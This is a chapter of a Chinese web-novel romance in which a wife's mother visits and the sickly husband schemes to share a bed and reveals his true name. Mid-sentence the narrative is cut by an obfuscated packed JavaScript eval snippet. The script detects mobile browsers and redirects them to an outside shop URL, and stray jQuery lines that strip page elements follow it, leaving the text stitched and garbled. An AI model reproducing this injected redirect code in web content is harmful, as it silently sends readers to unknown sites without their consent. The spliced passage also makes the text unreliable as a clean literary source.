63. 周元眺
作品:《为了避难嫁给病秧子后》 “母亲明察,我与念芙郡主并无瓜葛。”
周景之细细解释了这些日子的来龙去脉,一五一十毫不避讳,连当日柳夫人下药一事都没有省略。
文氏脸上的不满消失得一干二净,取而代之的是满满的心疼。
“你……你们这些日子受苦了。”
文氏忍不住拿出手帕拭泪,声音都哽咽起来了,倒是把黎半夏与周景之弄得有些手忙脚乱。
“娘,也没他说得那般苦啦。”
黎半夏连忙安慰,又略带埋怨地扫了周景之一眼。啧,这人卖得一手好惨,瞧把她娘吓的。
周景之有些心虚地摸了摸鼻子,赶紧补救道:“夫人说得是。这些事并未伤及我们分毫,我与夫人感情甚笃。”
黎半夏:“……”
文氏这才止了泪,朝二人看了过来,“我近来常常忧心,夜里都睡不好。如今见景之这般人物,你们夫妇俩又相处甚好,我这心总算是落到肚子里,夜里也可以睡个好觉了。”
黎半夏知道自家母亲素来柔弱,不敢让她太操心,赶忙道:“嗯,母亲放心便是。”
文氏点了点头,又和周景之絮絮叨叨说了许多。如果说之前对周景之是十分满意,如今这几句话的功夫,满意度竟是蹭蹭涨到了十二分。
黎半夏话都插不上一句,只能让秋梨与春桃去拿着茶点过来,母亲今日劳累多时,说了这许多,怕是早就又渴又饿了。
秋梨上了茶。
“夫人,这茶是姑娘特意给您留的,您试试。”
过了一会,刘嬷嬷从厨房提了一些小食过来。
“黎三夫人,听夫人说,您喜欢吃酸爽可口食物,我做了些酸枣糕,您尝尝看合不合胃口。”
文氏客客气气地接过了,尝了一口,笑着赞了几句,然后眉心微蹙。
“你们伺候得极为妥帖,只是这称呼为何如此混乱?”
文氏说着,朝黎半夏望了过来。
“称呼上你是如何定的规矩?”
称呼?规矩?黎半夏一脸懵逼,她压根没功夫管这些。就随意呗。
“怪我,当日你与你祖父做了主,我便真听了你们的,直接撇下你回了你外祖家。”文氏又开始自责地落起泪来。
这一哭,又让黎半夏有些招架不住了。哪怕文氏骂她一顿,她都不会这般无措。
“母亲莫要自责。”黎半夏赶紧安抚道:“母亲若是要立规矩,现在也不晚嘛。”
文氏这才止了泪,叹了一口气道:“罢了,你们今日也累了,先去歇着,我来与他们细说。”
秋梨与春桃缩了缩脖子,不约而同朝黎半夏的方向看了一眼。
文氏见她的动作,皱着眉问道:“正院那边可都收拾好了?”
春桃:“收拾好了。”
文氏点了点头:“如此,你们便留下来听规矩。”
然后又看向黎半夏道:“你和景之去正院歇着吧。”
黎半夏张了张嘴,本想说自己是独自歇在偏院的。可母亲今日这态度已十分明了,黎半夏觉得自己若是真说出这话,只怕又得有一番闹腾。
略一思索,黎半夏到底没有反驳,低低地应下了。
“知道了。”
话音刚落,黎半夏便感觉一道视线嗖地扫了过来,顺着视线看过去,便见到周景之正直勾勾地盯着她,双眼亮得惊人。
这视线,让黎半夏生出一种羊入虎口的危机感。
“夫人怎么了?可是冷了?穿我的披风吧。”
周景之三步并两步便走了过来,抬手便要解身上的披风。
病秧子真是出息了,竟还能将披风让给旁人了。
黎半夏摆手道:“你自己捂着吧。”
周景之不由分说,将披风覆在了黎半夏身上。
“不必,夫人放心,我此刻不冷了。”
黎半夏刚想反驳,一抬眼,发现这病秧子今日竟面色红润,额角隐约还沁了薄汗,不知是累出来的,还是因为太过于激动。
究竟在激动什么?
不过,这披风的保暖效果着实不错,黎半夏披上后便觉得浑身暖烘烘的,热气往脸颊涌去。
周景之侧头看了一眼,便见她脸颊红扑扑,衬得双目愈发灵动,他喉结微动。
“起风了,咱们走快些吧。”
黎半夏转身往正院走,身后传来母亲文氏给下人立规矩的声音。
“半夏既已嫁入这周府,你们便该改口称夫人才是……”
周景之跟在黎半夏身后,心情好得不像话。
“母亲当真是明察秋毫,体贴入微。”
黎半夏:“……”
周景之:“秋梨与春桃不在,夫人有什么事可以唤定生,或者唤我也行。”
一进正院,周景之便开始召唤定生。
“定生,去给夫人打桶水来。”
定生立马应下,一阵风一般跑去忙活起来。
黎半夏进了屋,却发现里面一处角落空了一块。
“你让人把贵妃塌移出去了?”黎半夏有些诧异地问道。
周景之点头,随口道:“贵妃塌被莺莺弄脏了,我便让人挪出去了。”
似是听懂了这话一般,床底下的松狮狗——莺莺立马钻了出来,朝周景之“汪汪汪”地叫个不停。
周景之敷衍地拍了拍它的头,“好了好了,知道错就好了,别叫了。”
莺莺停了一瞬,随即朝黎半夏奔去,在她脚边“汪汪汪”地叫了起来,一副委屈巴巴的模样。
“怎么感觉莺莺一副被冤枉的模样?”
周景之轻咳了两声:“夫人想多了,一只狗,能知道什么冤枉。”
像是要回应这句话似的,莺莺仰着头,连着吠了好几声。
“我怎么瞧着它……”
话还没说完,便听见定生欢快的声音。
“夫人,郎君,放好水了。”
黎半夏点了点头:“有劳了。”
周景之道:“夫人累了一天了,早点洗漱歇息吧。”
黎半夏从净房洗漱完出来,发现周景之竟也洗漱完毕。
他手里拿着一本书在灯下看着,听到动静抬眼看了过来。
“夫人先睡吧,我再看一会。”
黎半夏松了一口气,脱了鞋上床。
然而,黎半夏刚躺好,便感觉到头顶一阵光影晃动。
周景之扔了书便大步走
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13737142|139643||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了过来,“夫人今夜还是睡里面吧?”
然后,不等黎半夏反应,他手脚麻利地掀开被子躺了进来。
黎半夏有些猝不及防,原本宽敞的大床瞬间就逼仄起来。周景之的身子几乎是紧贴着她的。
“这被子……”黎半夏总算察觉到了不对劲,有些震惊道:“这被子怎么变得这般小了?”
周景之随口道:“想是被子洗过缩水了。夫人许久没来正院了吧?早就这样了。”
黎半夏翻了个白眼,再缩水也不能缩一半吧?这被子尺寸比汝王府那张床上的还要小。
“我去另寻一床被子。”
开玩笑,如今在自己家,找床被子还不容易?何必这般束手束脚委屈自己?
“别了。”周景之伸手拽住她的胳膊,“莫要折腾了,秋梨她们如今还在母亲那听训。咱们凑合一晚便是。”
“郎君歇着就是,我自己去找。”
她有手有脚,找床被子还不是分分钟的事?
周景之却没放手,拽着她胳膊的手反而更紧了两分。
“夫人,母亲说得对,咱们既已成亲,夫人也该改口了。”
他看着黎半夏,幽幽道:“夫人只称我郎君,那些人还当我是外头来的宾客,今日还给我派发了两次宾客礼。”
关键是这两次都被郑连溪恰巧撞见,那家伙笑得眼睛都看不见了。
黎半夏闻言也没忍住笑出声来,今日派礼品的下人是母亲带过来的,不认得周景之也正常。
周景之盯着她,拽在她胳膊上的手往下滑至掌心:“夫人可愿改口了?”
黎半夏毫不犹豫便将手抽出来了:“我可不会管一个假人叫夫君。”
手心一空,周景之感觉心也跟着空了一下。他满脸诧异道:“假人?夫人觉得我是个假人?”
黎半夏没说话。
“这是为何?”
黎半夏瞥了他一眼,给了他一个自行体会的眼神。
周景之凝神细想了一会,突然间眼睛一亮,一瞬不瞬地盯着黎半夏看。
黎半夏挑了挑眉:“知道为何了?”
周景之点了点头:“嗯。”
黎半夏:“所以呢?”
周景之支起身子贴了过来,扶着她的肩膀,垂首吻了上来。
一切发生得太快,黎半夏都没反应过来。
她气呼呼地推开了周景之,这个假人脑子里想的啥啊?
周景之猝不及防,差点被踹下床,他抬眼一脸诧异地看向黎半夏,却见她鬓发微乱,脸颊红艳艳的,衬得双瞳如秋水一般。
周景之喉结微动,不动声色地缓缓挪了过去。
“既不是因为这个,还请夫人赐教,为何觉得我是个假人?”
黎半夏本想让他自己想,但是着实怕这厮又来一波乌龙,她斜了周景之一眼,道:“你的名字是真的吗?”
“自然是真的。”
周景之下意识地点头,突然想到了什么,讶异地看向黎半夏。
她应该是看出了他与汝王不一般了。
“若夫人说的是名字,我确实也不曾造假。”
他笑了一下,郑重道:“在下周元眺,字景之。”